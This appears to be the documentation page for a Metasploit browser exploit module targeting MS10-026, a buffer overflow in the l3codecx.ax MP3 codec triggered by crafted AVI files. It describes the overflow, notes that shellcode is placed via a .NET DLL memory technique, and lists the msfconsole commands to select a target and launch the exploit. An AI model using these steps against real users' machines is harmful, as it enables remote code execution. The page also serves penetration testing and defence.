This module exploits a buffer overflow in l3codecx.ax while processing a AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite with 0's so the three least significant bytes of EIP saved on stack are overwritten and shellcode is mapped using the .NET DLL memory technique pioneered by Alexander Sotirov and Mark Dowd. Please note on IE 8 targets, your malicious URL must be a trusted site in order to load the .Net control.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/browser/ms10_026_avi_nsamplespersec
msf exploit(ms10_026_avi_nsamplespersec) > show targets
...targets...
msf exploit(ms10_026_avi_nsamplespersec) > set TARGET < target-id >
msf exploit(ms10_026_avi_nsamplespersec) > show options
...show and set options...
msf exploit(ms10_026_avi_nsamplespersec) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
